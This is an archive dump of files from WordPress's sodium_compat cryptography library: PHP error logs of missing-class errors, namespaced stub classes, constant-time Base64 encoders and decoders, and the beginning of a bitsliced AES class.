Curve25519/error_log000064400000011711151024240020010142 0ustar00[28-Oct-2025 02:14:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
[28-Oct-2025 03:05:12 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php on line 4
[01-Nov-2025 17:05:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
[01-Nov-2025 18:51:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php on line 4
[02-Nov-2025 07:48:55 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
[02-Nov-2025 11:21:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php on line 4
[03-Nov-2025 21:31:55 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
[03-Nov-2025 21:33:41 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php on line 4
[03-Nov-2025 21:41:09 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
[04-Nov-2025 19:01:11 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
[04-Nov-2025 19:01:25 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php on line 4
[05-Nov-2025 18:25:21 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_H" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/H.php on line 4
[05-Nov-2025 20:04:43 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_Curve25519_Fe" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/Curve25519/Fe.php on line 4
Curve25519/README.md000064400000000332151024240020007501 0ustar00# Curve25519 Data Structures

These are PHP implementation of the [structs used in the ref10 curve25519 code](https://github.com/jedisct1/libsodium/blob/master/src/libsodium/include/sodium/private/curve25519_ref10.h).
Curve25519/H.php000064400000000154151024240020007124 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519;

class H extends \ParagonIE_Sodium_Core_Curve25519_H
{

}
Curve25519/Ge/Cached.php000064400000000174151024240020010441 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Cached extends \ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{

}
Curve25519/Ge/P3.php000064400000000164151024240020007553 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P3 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P3
{

}
Curve25519/Ge/P1p1.php000064400000000170151024240020010007 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P1p1 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{

}
Curve25519/Ge/Precomp.php000064400000000176151024240020010701 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class Precomp extends \ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{

}
Curve25519/Ge/P2.php000064400000000164151024240020007552 0ustar00<?php
namespace ParagonIE\Sodium\Core\Curve25519\Ge;

class P2 extends \ParagonIE_Sodium_Core_Curve25519_Ge_P2
{

}
Base64/Original.php000064400000017055151024240020010043 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Base64
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_Original
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE

    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2b) $ret += 62 + 1;
        $ret += (((0x2a - $src) & ($src - 0x2c)) >> 8) & 63;

        // if ($src == 0x2f) ret += 63 + 1;
        $ret += (((0x2e - $src) & ($src - 0x30)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2b - 0x30 - 10; // -15
        $diff -= ((61 - $src) >> 8) & 15;

        // if ($src > 62) $diff += 0x2f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 3;

        return pack('C', $src + $diff);
    }
}
Base64/UrlSafe.php000064400000017063151024240020007637 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_Base64UrlSafe
 *
 *  Copyright (c) 2016 - 2018 Paragon Initiative Enterprises.
 *  Copyright (c) 2014 Steve "Sc00bz" Thomas (steve at tobtu dot com)
 */
class ParagonIE_Sodium_Core_Base64_UrlSafe
{
    // COPY ParagonIE_Sodium_Core_Base64_Common STARTING HERE
    /**
     * Encode into Base64
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encode($src)
    {
        return self::doEncode($src, true);
    }

    /**
     * Encode into Base64, no = padding
     *
     * Base64 character set "[A-Z][a-z][0-9]+/"
     *
     * @param string $src
     * @return string
     * @throws TypeError
     */
    public static function encodeUnpadded($src)
    {
        return self::doEncode($src, false);
    }

    /**
     * @param string $src
     * @param bool $pad   Include = padding?
     * @return string
     * @throws TypeError
     */
    protected static function doEncode($src, $pad = true)
    {
        $dest = '';
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        // Main loop (no padding):
        for ($i = 0; $i + 3 <= $srcLen; $i += 3) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 3));
            $b0 = $chunk[1];
            $b1 = $chunk[2];
            $b2 = $chunk[3];

            $dest .=
                self::encode6Bits(               $b0 >> 2       ) .
                self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                self::encode6Bits((($b1 << 2) | ($b2 >> 6)) & 63) .
                self::encode6Bits(  $b2                     & 63);
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $b0 = $chunk[1];
            if ($i + 1 < $srcLen) {
                $b1 = $chunk[2];
                $dest .=
                    self::encode6Bits($b0 >> 2) .
                    self::encode6Bits((($b0 << 4) | ($b1 >> 4)) & 63) .
                    self::encode6Bits(($b1 << 2) & 63);
                if ($pad) {
                    $dest .= '=';
                }
            } else {
                $dest .=
                    self::encode6Bits( $b0 >> 2) .
                    self::encode6Bits(($b0 << 4) & 63);
                if ($pad) {
                    $dest .= '==';
                }
            }
        }
        return $dest;
    }

    /**
     * decode from base64 into binary
     *
     * Base64 character set "./[A-Z][a-z][0-9]"
     *
     * @param string $src
     * @param bool $strictPadding
     * @return string
     * @throws RangeException
     * @throws TypeError
     * @psalm-suppress RedundantCondition
     */
    public static function decode($src, $strictPadding = false)
    {
        // Remove padding
        $srcLen = ParagonIE_Sodium_Core_Util::strlen($src);
        if ($srcLen === 0) {
            return '';
        }

        if ($strictPadding) {
            if (($srcLen & 3) === 0) {
                if ($src[$srcLen - 1] === '=') {
                    $srcLen--;
                    if ($src[$srcLen - 1] === '=') {
                        $srcLen--;
                    }
                }
            }
            if (($srcLen & 3) === 1) {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
            if ($src[$srcLen - 1] === '=') {
                throw new RangeException(
                    'Incorrect padding'
                );
            }
        } else {
            $src = rtrim($src, '=');
            $srcLen =  ParagonIE_Sodium_Core_Util::strlen($src);
        }

        $err = 0;
        $dest = '';
        // Main loop (no padding):
        for ($i = 0; $i + 4 <= $srcLen; $i += 4) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, 4));
            $c0 = self::decode6Bits($chunk[1]);
            $c1 = self::decode6Bits($chunk[2]);
            $c2 = self::decode6Bits($chunk[3]);
            $c3 = self::decode6Bits($chunk[4]);

            $dest .= pack(
                'CCC',
                ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                ((($c1 << 4) | ($c2 >> 2)) & 0xff),
                ((($c2 << 6) | $c3) & 0xff)
            );
            $err |= ($c0 | $c1 | $c2 | $c3) >> 8;
        }
        // The last chunk, which may have padding:
        if ($i < $srcLen) {
            /** @var array<int, int> $chunk */
            $chunk = unpack('C*', ParagonIE_Sodium_Core_Util::substr($src, $i, $srcLen - $i));
            $c0 = self::decode6Bits($chunk[1]);

            if ($i + 2 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $c2 = self::decode6Bits($chunk[3]);
                $dest .= pack(
                    'CC',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff),
                    ((($c1 << 4) | ($c2 >> 2)) & 0xff)
                );
                $err |= ($c0 | $c1 | $c2) >> 8;
            } elseif ($i + 1 < $srcLen) {
                $c1 = self::decode6Bits($chunk[2]);
                $dest .= pack(
                    'C',
                    ((($c0 << 2) | ($c1 >> 4)) & 0xff)
                );
                $err |= ($c0 | $c1) >> 8;
            } elseif ($i < $srcLen && $strictPadding) {
                $err |= 1;
            }
        }
        /** @var bool $check */
        $check = ($err === 0);
        if (!$check) {
            throw new RangeException(
                'Base64::decode() only expects characters in the correct base64 alphabet'
            );
        }
        return $dest;
    }
    // COPY ParagonIE_Sodium_Core_Base64_Common ENDING HERE
    /**
     * Uses bitwise operators instead of table-lookups to turn 6-bit integers
     * into 8-bit integers.
     *
     * Base64 character set:
     * [A-Z]      [a-z]      [0-9]      +     /
     * 0x41-0x5a, 0x61-0x7a, 0x30-0x39, 0x2b, 0x2f
     *
     * @param int $src
     * @return int
     */
    protected static function decode6Bits($src)
    {
        $ret = -1;

        // if ($src > 0x40 && $src < 0x5b) $ret += $src - 0x41 + 1; // -64
        $ret += (((0x40 - $src) & ($src - 0x5b)) >> 8) & ($src - 64);

        // if ($src > 0x60 && $src < 0x7b) $ret += $src - 0x61 + 26 + 1; // -70
        $ret += (((0x60 - $src) & ($src - 0x7b)) >> 8) & ($src - 70);

        // if ($src > 0x2f && $src < 0x3a) $ret += $src - 0x30 + 52 + 1; // 5
        $ret += (((0x2f - $src) & ($src - 0x3a)) >> 8) & ($src + 5);

        // if ($src == 0x2c) $ret += 62 + 1;
        $ret += (((0x2c - $src) & ($src - 0x2e)) >> 8) & 63;

        // if ($src == 0x5f) ret += 63 + 1;
        $ret += (((0x5e - $src) & ($src - 0x60)) >> 8) & 64;

        return $ret;
    }

    /**
     * Uses bitwise operators instead of table-lookups to turn 8-bit integers
     * into 6-bit integers.
     *
     * @param int $src
     * @return string
     */
    protected static function encode6Bits($src)
    {
        $diff = 0x41;

        // if ($src > 25) $diff += 0x61 - 0x41 - 26; // 6
        $diff += ((25 - $src) >> 8) & 6;

        // if ($src > 51) $diff += 0x30 - 0x61 - 26; // -75
        $diff -= ((51 - $src) >> 8) & 75;

        // if ($src > 61) $diff += 0x2d - 0x30 - 10; // -13
        $diff -= ((61 - $src) >> 8) & 13;

        // if ($src > 62) $diff += 0x5f - 0x2b - 1; // 3
        $diff += ((62 - $src) >> 8) & 49;

        return pack('C', $src + $diff);
    }
}
Poly1305.php000064400000000144151024240020006476 0ustar00<?php
namespace ParagonIE\Sodium\Core;

class Poly1305 extends \ParagonIE_Sodium_Core_Poly1305
{

}
ChaCha20/error_log000064400000015060151024240020007722 0ustar00[28-Oct-2025 08:39:20 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[28-Oct-2025 11:36:54 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[02-Nov-2025 00:11:58 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[02-Nov-2025 03:10:29 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[02-Nov-2025 17:58:57 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[02-Nov-2025 21:36:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[04-Nov-2025 04:10:59 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[04-Nov-2025 04:11:04 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[04-Nov-2025 04:11:44 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[04-Nov-2025 04:12:48 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[04-Nov-2025 23:43:46 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[04-Nov-2025 23:43:50 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[04-Nov-2025 23:44:37 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[04-Nov-2025 23:44:42 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[04-Nov-2025 23:52:31 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
[04-Nov-2025 23:54:30 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_Ctx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/Ctx.php on line 4
[05-Nov-2025 20:28:02 UTC] PHP Fatal error:  Uncaught Error: Class "ParagonIE_Sodium_Core_ChaCha20_IetfCtx" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php:4
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php on line 4
ChaCha20/IetfCtx.php000064400000000164151024240020010063 0ustar00<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class IetfCtx extends \ParagonIE_Sodium_Core_ChaCha20_IetfCtx
{

}
ChaCha20/Ctx.php000064400000000154151024240020007252 0ustar00<?php
namespace ParagonIE\Sodium\Core\ChaCha20;

class Ctx extends \ParagonIE_Sodium_Core_ChaCha20_Ctx
{

}
AES.php000064400000037015151024240020005661 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES', false)) {
    return;
}

/**
 * Bitsliced implementation of the AES block cipher.
 *
 * Based on the implementation provided by BearSSL.
 *
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var int[] AES round constants
     */
    private static $Rcon = array(
        0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
    );

    /**
     * Mutates the values of $q!
     *
     * @param ParagonIE_Sodium_Core_AES_Block $q
     * @return void
     */
    public static function sbox(ParagonIE_Sodium_Core_AES_Block $q)
    {
